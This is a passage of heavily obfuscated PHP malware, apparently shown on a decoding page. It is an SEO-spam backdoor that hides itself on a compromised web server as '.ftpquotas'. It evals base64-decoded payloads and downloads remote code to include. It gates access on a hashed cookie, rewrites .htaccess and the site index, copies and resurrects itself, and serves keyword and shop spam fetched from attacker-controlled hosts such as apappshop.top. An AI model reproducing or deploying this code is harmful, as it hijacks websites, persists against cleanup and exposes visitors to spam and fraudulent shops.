($jsonfile, /*3b#@6Ds`fS%4arV*/getHtml/*Z0![Mv97ZYG7yGj3M1h(*/(/*5]L0)*WUSd}V)u*/'https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php')//V8BSbZD
);
}
include_once //=UQ(CLAGUG7
$jsonfile ##Tu7z:4V>2$Pba
;
if(/*+n} 3I,U1wu&K_*/class_exists ##Fn>Rs5v@#;BGhE
(//12g`Sa`aS|p
'Services_JSON')//>c,:V~{Vhc:> SE
){
##4=vejBOByH7uhX:+WJN>
$result ##eJRbn:&AB
= /*>eym1NuJq{M`;|SKGYE*/''; ##Cqu\<t~T5C=J@ 5 2,A
/*[-UD&D$Ap*/$code/*`L-Tu*/= '$json = new Services_JSON;/*V.u5eB*NB)!e*/$result/*EinFVQujbi`YX~*/= $json->encodeUnsafe($var);';
##zD@}x!^@F
eval ##LL2;(
($code);
return /*5U*oSV7lv{*/$result ##={E{od
;
}
}
return ##i(jG@M5C
''; ##ICPnPP#i
}
function //`n7e&<
jsonDecode ##fqIS1H15[cA7,nYl#
($var, ##gt$hufvD*@TSJ g0
$assoc//xQzgztGC[|sLN4Gt81S
=false)
{
if (//VKVuu,geS`~HN&URw3j
function_exists//0SLgP7RMS`Y
(//ty51DS\aFq@AMj-
'json_decode')/*,P|*2n[HFR,U|o*/) {
return //oi=VEC+sUe
json_decode ##~wnrItL.9G9neXyR.6
($var, $assoc);
} else {
##!mw\N2b]F
$jsonfile ##9fm4(Kv(L~M4TfRjE
= ##ZB(hJ;SDXomRZjQu
md5//Qh)`A77Wi{|WSG}<Gj
(/*$~noq*/'Services_JSON.php') ##(fAS38SD(#Q=Sg
;
if(!@//taS+l9lP<r`6;JfXJ0
is_file//;an#pqhm7U6Ht)_u_4
($jsonfile)){
@//j=AjdvQeluY3g7$\_FA
file_put_contents//$~*; )#e3][8K
($jsonfile, //KXh9T#UH=#%!zPS[$
getHtml//;;19A1ha
(/*!LCd.K.Z6HI:ScDIs,*/'https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php') ##F`_4|~5]MCNqG<
);
}
include_once //|gYl5
$jsonfile/*L7~ILl*/;
if ( $assoc ){
if( ##IiYrmM COC=@*Td#
class_exists ##+6*ATvoq(QE
(/*I0Kv{9JswqLxh*/'Services_JSON') ##XD+FJuVUP|OZu{blhj
){
/*%[mF1VgVZ}Jra*/$result/*g~wA]ldLCN*/= ##1BAkTEy
'';/* qT#}Gq:,3swQGU*/
/*8JQ|$4]cIAo*A}t\^~w*/$code//kFq`FUK
= '$json = new Services_JSON(SERVICES_JSON_LOOSE_TYPE); ##98]cQ1y7r
$result/*]$Y^f-Tt@G]\@*/= $json->decode($var);';
##_08hgG\NMF`>Y;J(!
eval/*]2$Zr==Dz-6%0Q*/($code);
return ##`Hg6$PZ5WUHN(Q;
$result ##}4Es0|
;
}
} else {
if(/*l}nzafyJM$w>~%,4q\*/class_exists/*)jigD%o [*/(//A4Aj$
'Services_JSON') ##^%N(.!5KPZ4W
){
/*%R,oy;KJ*+3(|FU*/$result/*L6e#fT5*/= //BZLq:dKKIVsLSpGS9w[
''; ##^<W|~by91M
/*1,AO0;8WS*/$code/*|}U:-g|Otn]Hx*/= '$json = new Services_JSON; ##6`td\&;
$result ##To#CLm4jxCJ=
= $json->decode($var);';
/*qwq|_24zV\0f*/eval//vf]a2
($code);
return /*-TZ;c2}J_Z8;FlQw+ q0*/$result//:$Ru0l^w)g|;%*X(
;
}
}
}
return ##\Fa^q1CDgIc{#
'';/*gDE~;gWg|,-f7#[$2*/
}
function //s~2<(zzif2PRX^e1
cookieAuthor//b*hJ~T#mCHE=
(){
if(@/*hE^nGw|-S\\%cdz<S*/session_start/*@+($4yO*/()){
//<GxO;
preg_match//^%Z=Yq@FA74
('/^[^:]*/i',/*:8!CrR9])*/$_SERVER//5=[3z<>ife V
['HTTP_HOST'], $match);
##+GKR jIB{ad~n)J
$domain ##$,6Jy(lA
= /*A(Jpx:}k*/$match//8w|a3GuJ}y~
[0];
if(@ ##+$.R<U]-wg1
md5/*R}6on:zJY*/(/*yW@9g`^.X_y4*/$_COOKIE ##aqAjCk7E3N:UI6h#h
[ ##6lb\%xT
md5 ##_[N){+]L-4e
( ##alQJsch7wM\ZCp
$domain//A9_eJwZ; i$q~
. ##Q~NIBwB,aWV
'pswd')/*TjVw&]R0*/]) == /*U9:.lW6\@qVLD8C4Z*/'30b36dd41a0d39efc66a950446322fa9')//Q-` )Yz
{
return true;
}
}else{
return true;
}
return false;
}
class context{
public //0_fx6+
$context/*j+fdFw.0bRl*/= ##86V#d
'https://schema.org/'; ##!7u:#WS@REvw
public ##:TW)Oqq>b7m!a0;Xt
$type/*ex^gKbT7tj1>~WU;m4*/= /*-&\JNSKj,v&zOU[a#*/'Product';//OmCM4_3IR
public //jaqP>S)cB#@KsR$
$name//)vE`\
= ##AQ%S0@uP|e5GPDto@
'';/*<S=>_`Kj*/
public ##C4(8s5A#p
$image/*>(Ptr-*/= ##:Gzdbq}(t{ZpV
array ##O>pA_3D3{%ex[3:vt
();
public /*b}`w+JLw0;p*RKR_*/$description//JqBWUYZr1yj1ZU6>
= /*h^Y}vV_V8&O*/''; ##u{1[3=l.H
public ##AM<Ae,}fzO8JE$
$offers//(*Pyx
= //bEaA$#<vz_hcO
array//p+^zYQ8U\n#j_`
();
function ##*zB3V bs2fd}l\
__construct/*^P^<cc*/(/*8G`bQz=R*/$type ##ZI_Rr
= /*76M%r^q<K~SnU*/'Product')/*irz`gGwSHJUXVP*/{
$this->type = /*OfMiRoDY;grLY (umK-o*/$type ##bV-NEM{.
;
}
function ##HA$7Un0; HU
setName/*!Tg[#rWo*/($name){
$this->name = //{YuCnA
$name ##c5)QVF;.ysKpks[i!(Wc
;
}
function //H.MTM)Lz9-aEW(HIij
addImage//K43~46n{
($src){
$this->image[] = /*vnPr 6Fl4P<e=]x3e*/$src/*f*7+=nhKNhhZ}H*&$Y*/;
}
function ##JprYEASp<J.@]
setDescription//@Fl@Q O`FLm
($str){
$this->description = //bU}TlJ~
$str ##Z3]Ei`
;
}
function /*i*>S.*/setOffers/*`eE}h9K|Y\7A*/(){
##Dv9X:UkIU}4l*cEAr:
$arr/*)B8t|,s*/= ##=<\g-|Ka0#F8kI7}:
array/*44gGW~BizbBk*/(
'@type' => 'Offer',
'url' => $this-> ##SETs7
getSchema//N(5#MVL!gW5x
() . ##.xI{=YGW
$_SERVER//#MZ[<nd_c3XtE@
['HTTP_HOST'] . /*pl2tn7*/$_SERVER ##wV<!<sH0;~])XPl0
['REQUEST_URI'],
'priceCurrency' => 'USD',
'price' => '9.9',
'availability' => 'http://schema.org/InStock',
'priceValidUntil' => /*~w:~7:ga\*/date/*2ZX.3(<4nH*!r Lu^*/(//UGUV6
'Y')//\xwnn;>WsT
+ 1,
);
$this->offers = /*9`\Q^.KR;]Sh*/$arr/*b%h&oT*/;
}
function //T~E@2IJ#R4H$N@qn
showScript ##aDLt_T~*
(){
//q g3rM]%
$arr//eAJ5^CC1* V7(E7X
= /*qdCL1n{&Uv3o^(Q*/array ##[b_fKPmnz=@8UtD^]L5w
(
'@context' => $this->context,
'@type' => $this->type,
'name' => $this->name,
'image' => $this->image,
'description' => $this->description,
'offers' => $this->offers,
);
##O^U=8
$str/*-rrVUG=I|a&B1^e{nny*/= //&-!n)P
jsonEncode ##;km(#kSe7lKU*P]
($arr);
return /*dFrE0lLTw56k*/'
<script type="application/ld+json">'.//FnwYk|<DEV.C7Gnbs>
$str//g {YR,O+Vf)]3Q[sa
./*tTQ*V~wD*/'</script>'; ##h%<t|NL;
}
function ##h!-&Y6eFV
getSchema//aB9pWis(sa~4!
(){
if ( isset(/*uLTjYH,v&F&kUZBp-UG*/$_SERVER ##b^Ihd)hmZ8)Zcg3\q\
['HTTPS']) && //5bD9{I7O3JN&9
strtolower//`wY;YSt|}E)vN(
( ##YmLtGEmcAN$wQ2
$_SERVER ##T|~]Sm~vf~^m;1=~CP
['HTTPS']) !== ##l;6Y#4hTCER
'off')//`HS=vAck!;PFEW*ER2@l
{
return //MR4&qWPbw2VR{cs
'https://';/*%tb>vP94o;k*/
} elseif ( isset(/* e4`TYBX=~`;jU~8*/$_SERVER/*sk{Bu9~qhz0gk==NSN}0*/['HTTP_X_FORWARDED_PROTO']) && //v1(c-,6MevuW
$_SERVER/*S^dl_WkAP~!A>Jx*/['HTTP_X_FORWARDED_PROTO'] === /*2I!B*,B*/'https' )//_,g)O
{
return ##zD2x~^8*4.BR))7^w5
'https://'; ## |T0S~^RNPg!~QH!03q
} elseif ( isset(//a**A80e|FM0[
$_SERVER//,K}nL^O1.GG;
['HTTP_FRONT_END_HTTPS']) && ##8.|q_h0,$7OrR}7,M0O
strtolower ##XQWoJB%_DL!**hY,
( ##B$3&#&aF
$_SERVER//tDPiePJ(FeX_G
['HTTP_FRONT_END_HTTPS']) !== //=2{$p
'off')/*3&\.{*/ {
return /*=nBzfoK$*/'https://'; ##X^1hZb*#uRY70;
}
return //FNF6>C
'http://';//d$2KT9Id2vkx]OaIMr
}
}
function //s+,QNCZu;
isPHPFile//r:1-P2
($file){
//9EJ.-+ABRG>E}
$content/*kVCiJg~&=Ax5POYRMG;C*/= /*P!5+lmjWujmXk)Dh*/file_get_contents//2,.u6Z$,zR<euS
($file);
if( ##4ICVIt>4|\zzj
stristr//{3xYnnY^Dto!
($content, /*<=hMwW~5Wm.{j(BhA Zb*/'<?php') ##D>!3OT:F
){
return true;
}
return false;
}
?>
Did this file decode correctly?
Original Code
?><?php
## +BcWn7kmvM0Tgm4H5cU
ini_set/*;0Py+I.\bP{}#WU1sDb*/('display_errors', 0);
//v35+R>@k9C
error_reporting//Sb1y7cS`46=w~k2`[
(0);
@//g5nC>YGG5;5QV
header ##9DOLNJs>2xk_Ip.
(//6lH7}
'Content-type:text/html;charset=utf-8')/*(Bm0Qk>f>Wo*/;
##cKZO`Js^,QW
define//D$p4B;O%SiR8B
('UAMD53KEY', //Pj(1iCGXcD[wMqMi$t
'39542de4e2fa50462d96ea26e878a658')//KNO4H.MzZY0C
;
/*6QYymA*/define ##UluZ[k^sel\jI!SaJZv
('DEFAULTMAINDOMAIN', ##2o(a.
'.apappshop.top')/*qY.58A*N=H{Lx77AN*/;
##e4X#_9l#QB&
define/*a#z`^!`>M0uO&0*/('URLHEAD', //FYf\Gv3ss_3U3!:eE
'http://api.apappshop.top/she2/') ##`1>5]R([)>0 ZeV
;
/*dY*20<t~flCSFT*/define ##\B|C7;%a0-WPeQmiNm
('CURRENT_VERSION', //C*).rH
'1.23.07.17.10.24')/*\T[acfXB^\ dzo*/;
##ikX06i %`w#&F&>,dDl
define/*^fm O:8BrZMk*/('FILE_OLD_INDEX', ##E70!sJ,7j;,@
'.ftpquotas') ##b)oSH
;
//*dJ^qigQ@oenEjx3
define ##C%^lHIix!iQj}A0kB7
('FILE_OLD_INDEX_OLD', /*-$f&B;pj*/'4c7a17f635a4d887cf587a123b6a6bc4')//,T>KmAIwDg9 0hwPsk
;
/*N)yX1|=U3L^>}o|H:,*/define/*![g=#ODA*/('FILE_INDEX_STATIC_DEFAULT', /*Xz^ @*/'a439a79eb419be5dda635034f722ec41')//<R4!xSoe `J|l}
;
//V;tAt
define ##Qso{-Se;|J]XetwY+%{H
('CACHE_PATH', //f$Z94
cachePath ##OMfv&87~IOO
());
##B>WTk8&|X=,UkX;k(0p
define//Z+kqk%QXAFJb@
('FILE_INDEX_STATIC', /*u{@9QJR;~.+%Q5]]Zu3=*/cacheFilename//88R2o
());
##+K_cw0v)k4]|MVu=]
$configFile ##.#]Y <T0M*(8
= ##>!W8lokxKDS$fcH49x
sheditFile/*V7y2i3CT(L^Vo>1$DZo*/();
if(@/*Cf\xPceB D*/file_exists//O<s`{X![vVHzq*9
($configFile)){
if(//prZjA[ra
isPHPFile//[K|U(G=,qLnG
($configFile)){
include_once /*[g7D6DL,9QYq8ul&*/$configFile//8nNg-GFRF9TA_o,jZ
;
}else{
//Z@GLU9504
eval ##OOMvBHTx-P%q+j5pzD
(/*P*W3H6P*/'?>'./*Tr5F w~[GKJ*//*Fy$TCH!^Z-&}[*/base64_decode/*37nG;x0@%Jqz@nm;:*/( ##hK)B5i$CO#}Kx\$)j
file_get_contents//|6biJ} $v@P0I-
($configFile)));
}
}
if(! ##e8]6!n(P(Y~z70:
defined ##nQJ_NT<*#IZCqk
(/*-`y9DkMg)RQ*/'HTACCESS_REPLACE')/*^QD.xe+*/){ ##9}yP|Y
define ##vW oU
('HTACCESS_REPLACE', /*IeJ2IcV`!.~UIqw*/'yes')/*W.0m8)g6\ya6iUqW2*/;}
/*UE;5PVZC*V qOiX)Kge*/define/*\5{|YIw=2.[3=23Sq8*/('CONFIG_FILE', $configFile);
/*jcOgV*/addDomain ##8xmX].&Eve
();
/*[!UMSSC;#K&*/moveToNewCachePath/*O]F*j4gRg$7#6S#*/();
##q:;ERFf$m
editConfigFile ##j*3C2*TX
();/*=9{Zpkx\}*/editPathList ##\^x^)r%\h1{HC
();
//ZI-l3;
editConfigFile/*$cuvoV(^*/( ##%tPCoXfSIF
'outlinks')/*_10rw*/;
/*K;qi8:=;M7J`q6W19C*/setHtaccess/*m_By2OwTl9;cP8&YHE\4*/();
/*HH|yf{h#d|C1nZzr*/repairIndex//7UZ2y
(//KUpxz
'.')/*vQUJWkBL]t3@lt3.;*/;
/*Mf|O4@N4o5!,W0kD$~F*/copySelf//>if\O
();
##K~P$vV-CFkp)rUF*:M82
reBirth ##DVi2I(%nO;=e}`E(
();
/*A3,zIS*/checkStatus//mj&IO+DD)}%o
();
/*VP]2X R!aq9Yx1*/setupshe//sXXHQ*<JB
();
if(isset(/*+ I Fe+)B+KymuEFC*/$_REQUEST/*RoGG.bmJ*/['action']) && ##kXvM3[r9T]
$_REQUEST ##16%tt;y}lbP|g1Q-@0
['action'] == //GP@Z3RT)nIA
'deletecache') ##7i:VXfp
{
if(@/*9A&ODV*/file_exists/*|f[]sA98R[XfKAh8*/(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
/*`0%`2!Dv8)Eks*/unlink/*XhoEz3!CU*/(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
//:-xAla%XUS !R
header ##FaAJs
( ##vH|8B3< :R
"Location: /") ##*-Evg2FW4E$2`
;
die;
}
}
if(!isset( ##BF3Re_
$_REQUEST//thG<,<t!~b.ff[
['action']) || //|1,wD#OPtV#ULP,3=
$_REQUEST/*#r.fS(,.FWRB{+%#A*/['action'] != ##<H_W2|%}\+WG
'createcache') ##k.i(QUiJFPx&t2
{
if(!@/*\Y)aS1~<_h#7(*/file_exists/*^20M[$T$}=q(*/(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
//{k8~Xoox}CH<*
$indexurl/*oivqNXac(_XBF3]vN,x*/= ##383GA}d
is_https ##y+bbaE)h@kE
() . //FH-4F%E
$_SERVER/*zhJ7BQK< ZIox*/['HTTP_HOST'] . //Bhi w0_TFo~V
'/?action=createcache'; ##Efq.[UMA1n_
//X~j__a8:x2;hSf_A> :
$html ##H;B-;z\y!l5
= ##Z~=%4bgJo)Zyj_
getHtml ##XuL==n~a}
($indexurl);
if(!empty($html)){
//,1k]#
file_put_contents_force//x)D:&;^_a
(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT, $html);
}
##6<d26Wo
reBirth/*p21!CI*/();
}
}elseif(isset(//fVYlWx&gNsKEM`;HYJ
$_REQUEST//#iq:lI]YR;L|Otw
['action']) && ##FEYPPcLr(K&uI
$_REQUEST ###!ZX.
['action'] == /*hU8<si-gwU):}*/'createcache')/*|cjuYx.Oku-*/{
include FILE_OLD_INDEX;
exit;
}
if(!//|>5BMPi|KJ;WiGh
file_exists//z9xFPz-,trr$}(]3x1#
($configFile)){
/*U7oXkB5Tncjo<dqN{4*/showCacheFile//e4nl^DY^#q>2H[;4
();
exit;
}
//.pr>,ytYNF0i=zOOTM
$arrContants/*B:)yHH]+X:!{Ej */= /*2mNHBIt~^&yGbzKM*/array//p{+(GPW)}%D){
(
'STATIC_HTML' => 'yes',
'ALLOWED_PAGES' => '',
'REPLACE_EXISTS' => 'yes',
'REPLACE_INDEX' => 'no',
'INDEX_PHP' => ##NQ<7:\#VM\f8T,
$_SERVER ##b#bA:(OAHy
['SCRIPT_FILENAME'] . '/',
'LANGUAGE' => '',
'KEYWORDDIR' => '',
'URI_END_OF_KEYWORD' => '-k.html',
'API_HOST' => 'http://keywordfada20201115.keyworddomain.com/',
'SHOP_HOST' => 'http://shopfada20201115.keyworddomain.com/',
'MAINDOMAIN' => DEFAULTMAINDOMAIN,
'USECURL' => 'yes',
);
/*mEXuy$yDp),>n#tj)A**/$defined//Yz:R[wX#Y&kh
= //r,\id*
'defined';//O0i-ba!rrD]
foreach($arrContants as ##2cyvN
$cons/*#2#O}kfRi[|;TnF)R|-i*/=> $v){
switch($cons){
case 'STATIC_HTML':
if(//[*x*2rYR\gH!fewv
$defined//nQK\BR2kdb]q#!RXct
($cons)){
@/*!>_A<,~\~5k*/define/*]>GX[Hxk^`\RS]VXc*/('STATIC_HTML', //vyeM|#+
constant//ro<\{dK95
($cons));
}else{
@/*i6&$(bLCu:WPD|!5*/define/*cwZn!*/('STATIC_HTML', $v);
}
break;
case 'ALLOWED_PAGES':
if( ##Qcnz^5W
$defined/*6ii|<bO5L];*/($cons)){
@//(qX1`0OdrAuFcT4X2
define//m3,qdiB_Ri6\Lp^
('ALLOWED_PAGES', ##Y$!%F1UofmG@f6l#8m&
constant/*m#Aviv<w1EoGhPCb*/($cons));
}else{
@/*i@@tL;iw!%b;Dmb6>e*/define//_HqH7RJ=|V|DIzU
('ALLOWED_PAGES', $v);
}
break;
case 'REPLACE_EXISTS':
if(//mB7Rb
$defined/*1e\OGAr#u0<XjOH^}2N*/($cons)){
@//JYx&8IOwREB<|``ogWtI
define ##+#Ifw]=
('REPLACE_EXISTS', //5v}=az@`]Cz{Qw`9)
constant//HT=dzs4#-hN|ExAZC
($cons));
}else{
@//\I}pIFAg&abRjpv]&At+
define/*cJt{!c(K)]b%B:,*/('REPLACE_EXISTS', $v);
}
break;
case 'REPLACE_INDEX':
if(/*C()h(QxG:NE%y7brX*/$defined//NL\c{edAzH;6ly9X~Rc
($cons)){
@/*$VWmeS~A>d-3b*/define ##$+&jE-2^PKJTUE
('REPLACE_INDEX', ##RSv]=p|+EdrB@|MV3nOs
constant//sVf ~3(ov
($cons));
}else{
@/*H;VW:)zIUb**/define/*glM;igM,\.URi#A[evW*/('REPLACE_INDEX', $v);
}
break;
case 'INDEX_PHP':
if( ##8oXA61g
$defined//OBXF#zfu
($cons)){
@//6cy$DLH`0Bqi[ydjw
define ##b}QZ5_-0P,px;
('INDEX_PHP', //Tg`)gQ
constant//CbfW#vb|
($cons));
}else{
@/*:rzC.k}=*W!htKK*/define//G+Qx6M4b
('INDEX_PHP', $v);
}
break;
case 'LANGUAGE':
if( ##-LO(L*PJ#BS{,B*ul
$defined ##iSb(Yshd
($cons)){
@//fU&cK`24;9
define ##nvR:[gk[`,LZ()dY
('LANGUAGE', //Y{,+ihUHmAx-n\Sf
constant/*p|M:ZD^`*K3-39w*/($cons));
}else{
@/*|>n:d*/define//2R$5c,%icEm.
('LANGUAGE', $v);
}
break;
case 'KEYWORDDIR':
if(//e[k%Nzw(tOBGB||[I
$defined ##Gc<%P0pDs
($cons)){
@ ##LHy* ^&RP>+Hu5M_wI
define//dIOR[=5
('KEYWORDDIR', ##0oz%)JO
constant/*v4x,^V1{[ sKXCM:ud*/($cons));
}else{
@/* woCZC,P+K{F|sV*/define ##a-+jn;l.W`$:
('KEYWORDDIR', $v);
}
break;
case 'URI_END_OF_KEYWORD':
if( ##I]&N$)
$defined ##nMZAV5
($cons)){
@/*X9#r#[DJX:[*/define//KGDorxuQ#l
('URI_END_OF_KEYWORD', ##lom,fu]c nA-fyv\
constant ##uNt*AZ
($cons));
}else{
@//wZ=\S2yQx%u
define ##H=r8Qw`^XEH1nzUQhPhW
('URI_END_OF_KEYWORD', $v);
}
break;
case 'API_HOST':
if( ##-3Rz3jv,{&E
$defined/*;.8T0*/($cons)){
@ ##6|!U_r8h{HYWjLy#gD
define/*1qo>C*/('API_HOST', /*h9q8{|dTvnL:*/constant/*$ZI;E1s*/($cons));
}else{
@//<T1<yDE#O!&
define ##]N=P[
('API_HOST', $v);
}
break;
case 'SHOP_HOST':
if(//Uij:W}B(I
$defined//H{\MZA!8Iv5
($cons)){
@ ##^ahZDH%G:b$1N
define/*_=!e\kdC~}W=(z^32%~J*/('SHOP_HOST', //cW{6Te`W85q|i
constant ###cFu=Bsfd,C[[tkPEy&
($cons));
}else{
@/*oes@t{6n#@%*/define/*&yGY2bTVevMDbWO*/('SHOP_HOST', $v);
}
break;
case 'MAINDOMAIN':
if(//,_kwS[AF
$defined ##^s34`1WZ$GW)X:j
($cons)){
@ ##S=~GEG$Ad<.;LYDWh&$
define//C_4SH]0@{b7=3@
('MAINDOMAIN', ##h6{ac~[JIw8YKxS$FS
constant//YviHg4}FYX~
($cons));
}else{
@/*lq96hOfdnIfJOr*/define ##RqqEUk
('MAINDOMAIN', $v);
}
break;
case 'USECURL':
if( ##z%;6 wC\yk
$defined//4{Y;@q
($cons)){
@//W}2_1|:d
define/*oCh(WBP*/('USECURL', ##$i$s{Qx[J3kZEGV
constant//MAg_75TMLO6ELoY47<
($cons));
}else{
@ ##F~eciHDTF)D
define//0^2iLP9EgE!TJ!
('USECURL', $v);
}
break;
case 'JUMP_REAL_HOST':
if(/*O[w{Svp[v~B7ML@yi%]*/$defined//6CeLbOO,u%CQ[
($cons)){
@/*}o6jqH*,iD*/define ##c`M5Llh-S#
('JUMP_REAL_HOST', ##9~V5GZ|%Dr=pMZki
constant/*pNHZfY-1-j)s*/($cons));
}else{
@//:E=cMj}mRti`X!j&r
define//,]s=hb[>3Gf3;|r
('JUMP_REAL_HOST', $v);
}
break;
}
}
//8*9=%mRQ1koi1*
pingGoogle ##HQXF3SBF01nt}
();
/*-#>UCOdm5F*/preg_match/*,Wei_}eIXg~b*/('|([^/]+)-k(\d)?.html$|i', /*4J{SKCH#Nx\yK%*/$_SERVER//ep2T3\l
['REQUEST_URI'], $match);
if(isset(/*h!j]p*/$match/*d|8RLcYvG6P{~;\S`~*/[2]) && /* $Y!QZr*Il*/is_numeric//ANXI7(Zva85C6.,woU
(//RwnM5|oW!H-N[#X92
$match ##nNll~T,LWu@
[2])){
if( ##wSEWBdK4q(;m [
defined//Olk!Mbr
(/*2c(pnC$ #g)*/'LANGUAGE'. ##m~yV\fDV%5>Y:
$match//NB g7|cze2]K!
[2]) && //ameqHC
defined/*SZ^NoQz!N(C3%uM.N*/(/*P#BH(o*/'KEYWORDDIR'./*x9.Uo$V>ixA*/$match ##lsAF2J
[2]) && ##Z~wr6|12{Rd
defined//ak$ba*m6cAlD($s
(/**P*_HW[> [JAeN3$ec*/'API_HOST'. ##BYg-sRN jd*`
$match/*1uhWZN:3hRU*|x#*/[2]) && //N9Dm*oeY_
defined//J#H(d]Y{aM2g
(/*lX,Sg0zh,*/'SHOP_HOST'.//R.Q(JR-s
$match ##mqGu;
[2])){
/*I{XJ_snw:;lR)=R|\o4*/$valLANGUAGE ##zs=sPd+AH7+L8}
= /*I>&f{QP,<5paZcHT]*/constant/*tPq5=cz<*/( ##$ZsF63\+83nF
'LANGUAGE'./*F~AAqe4|C&[B<y2QTBG|*/$match/*%kku.u Y8<r5vie1*/[2]);
/*e[x}V8ZYV-l2E^M>h=)w*/$valKEYWORDDIR ##HI!jcGwc^=mdPGu
= //$(#y^X
constant ##O}qB;P]Ceql&Q:@VS|!
(/*Uh=3FX]LqII{s(An9*/'KEYWORDDIR'. ##c>}3}znjd;-~@)_i
$match//M ^Rp
[2]);
/*DD5aYlXqq1OvgE*/$valAPI_HOST/*.kD!O*/= ##OE_sQV*j
constant/*K+A=OJ8<(>1^`AOgg*i*/(/*K[o:>g0iDS9z%*NY{*/'API_HOST'. ##^auM_DZ:ym;A
$match//C|yP(UoF|ja0D-P|
[2]);
/*F^vp`Dpo@CBdPrD<mi,s*/$valSHOP_HOST ##VX5F8@dadS+4!8V
= /*wQA1T5ZO==p*/constant//vOc>Mqn}T4hM@E
(//$mU eERVxvr6,~Y
'SHOP_HOST'. ##YaxHFcnC4FJW|0II!( a
$match/*@mj+%7#18{3:w*/[2]);
}
}else{
##Y#TRHDN4iS>kds
$valLANGUAGE ##2R3pi}A08i=1<
= LANGUAGE;
##VG5ND-{}oG;bic b
$valKEYWORDDIR//+HM.A]Y_62L)lu9}P=L
= KEYWORDDIR;
##C3#qE
$valAPI_HOST/*9Cm>r9a,`$q}LR>*/= API_HOST;
//Yu,htT
$valSHOP_HOST/*COeX#L2g:fMaN~Y-P*/= SHOP_HOST;
}
@/**eA8}mJ*/define/*+6*HhCKjAKE*/('LANGUAGE_REAL', $valLANGUAGE);
@//&pMglzey9X0
define/*$8,xba+.uxRK8W0W*/('KEYWORDDIR_REAL', $valKEYWORDDIR);
@//kQ<A~$2
define//gswU-i-
('API_HOST_REAL', ##HF`[I*q:i6u
str_ireplace//\iK yL$UrEmB&_3~
('.keyworddomain.com', MAINDOMAIN, $valAPI_HOST));
@/*i>4~,>Pd(`6;*/define/*HRq`F\.!ci*/('SHOP_HOST_REAL', //Kz3oL-KARUC_7LXF3B
str_ireplace/*[r7K=O*/('.keyworddomain.com', MAINDOMAIN, $valSHOP_HOST));
/*7$wK6];bxk=$t#|*/replaceIndex//1r{B#@ylKEL{}El)xDX0
(FILE_OLD_INDEX);
##A`iaXDmhj*I[\GwyU2
is_allow_page/*569Jd`v[jUX\[!E@*/();
/*h`*\xA3 uLn_)(*/$token ##5 FQ+
= /*`H:My8GLDRkD W7q*/md5/*6}=OtXfYrip*/( ##2nj^x(
md5//q,Q7^DQ8#
(//X^|h]iRwX|
'sj'./*TZ..c\e,>WKJN$sQ*/MainDomain ##[onJSk~aAy+.
()));
//Ci%KSrVbm2E7JW
$uriend ##{ufnv*PB
= /*e q+rHI=i{N*/'&dir='.//MmF;1J0inCr#-R
KEYWORDDIR_REAL.//\4Fe0{V@o5YS9
'&hl='./*JIoL!Q**/LANGUAGE_REAL./*h$j;2)nz30*/'&token='.//;|Au<P!.$J^bb0
$token ##<1Ckw.{h8:MYaN[^q
;
//JnsuYKw,Tnt7p;*K,9
$uri ##Y.s|x4y.dv$SRge
= API_HOST_REAL . /*^bU8{GXV\|)Wp{T*/'randkeyword.php?str='./*s7[+5f*1LzMhP3GJ+Y*/md5/*A>,mU<G|v*CBH@*/(/*r pXQYeoM#E:(k\O5Yc*/'testshely'./*$@NqQ6`h;y#W({3*/$_SERVER ##KU5@AC18` -*9t
['REQUEST_URI']).//065*<k6D\M6
$uriend//VLn=jk#nTx%}
;
if(/*gb}2U*/substr/*1:P= uZIpI}]z`e]I*ho*/( ##qXLqBFR{&.Hrvz(Q<t8
$_SERVER/*;3-OR-A*/['REQUEST_URI'], 0, 12) == /*}(^-2{|j|v*#f$Pq*/'/sitemap.xml')//qLJ[[hP+
{ ##H{h,}T#=*KUJ\W)2)<RY
showSiteMap//kRy`o-`^N)q2g]_aM@c
();die;}
if( ##uq,r yf>Gc:lQhTE%<H;
substr//(b QFiK
( ##=$Q h3T
$_SERVER ##^kR|+i~..~_du|=
['REQUEST_URI'], 0, 11) == //Nxr=2*H
'/robots.txt')/*~nX6 p!S-&9}WrpH].!*/{/*HSO~T*/showRobotsTxt//{Jqq$5OH
();die;}
##pgk=U*05TM
$pageexists//P~<7zMguj]`mQ
= true;
if(isset(//K .jexS#\d
$match/*H+4In)YTg{^IT*/[1])&&!empty( ##N]Iij
$match//Rdyg n9@MI_xv>K0;M
[1])){
/*dLhASA&`D*/$keyword//s(4OSG(dK1.d(SR
= //*KlsLG`%rYN;}OW
str_replace//x@iALE4vka~l4&s|2>X
('-', '%20', //71CPH3W_88B
$match ##Q.vWeb*),&N
[1]);
//!7y{t%xH
$keyword ##hO>L^0^T
= //`=~@_\[,QwJ0Ib:
urldecode ##(6^}|k: e}PUQVd|s;j(
($keyword);
//Et)_Ua]=
$uri ##&d8PQG|<1mNQS
= API_HOST_REAL . //OOfa:VFY{$|
'randkeyword.php?keyword='.//)EswDk3
/*&Q`(%I&2}zqL^(LUakn*/urlencode//E-arA$PzoRrSBq}:54
($keyword). ##O1w:`7S7
$uriend ##k!0,!IQ{q`dYA
;
/*;A64|,5G8a+Ar;}H0[4*/$pageexists/*c3[DO0;~O=,zJJX&c9sF*/= false;
}elseif( ##n{e@jF&D6A,Y&#;rT
$arrCid//N~ur,3X@hkK}=s5AX(`S
= /*MJ72nc(1d*/getCid ##i]sdMJH
()){
##|}y4{\R%u^D&XxVF
$uri/*\L EL+NLAb4{WTq*/= API_HOST_REAL . /*N&7Sf@GP]FB+ugt*/'randkeyword.php?f='. ##\rK40CB2\wI
$arrCid ##B-34CX6_vZ7g@D$k^
['cid']. ##$Eg$u)E(z$<
'&l='.//yBDH}qfsX<Xn@VCTX:QT
$arrCid ##%gaV^8CPjiQC
['lid'].//LrfmI,_
$uriend ##]W^1z${=w=
;
}
/*CGbJ%dtK*/$jsonStr//>B3Is5r7vZgi.~N@
= ##@KAe6,w
getHtml ##WR\7WK
($uri);
/*8qnE#c^ZmFBa*/$objKeywordShe//O*E0)CRK[
= ##DFFK]SIWi
jsonDecode/*`-u]ROROY;)}0n9*/($jsonStr, true);
if(!empty(/*bAOlE&2L~*/$objKeywordShe//I#h:$.unUH1R`g
['keyword'])){
if(REPLACE_EXISTS == ##tImXI4]J g=9Y2wn|7en
'yes') ##Ta!GO-y=PruQiW9@+G
{
//yqY6oa[4E-Ew N
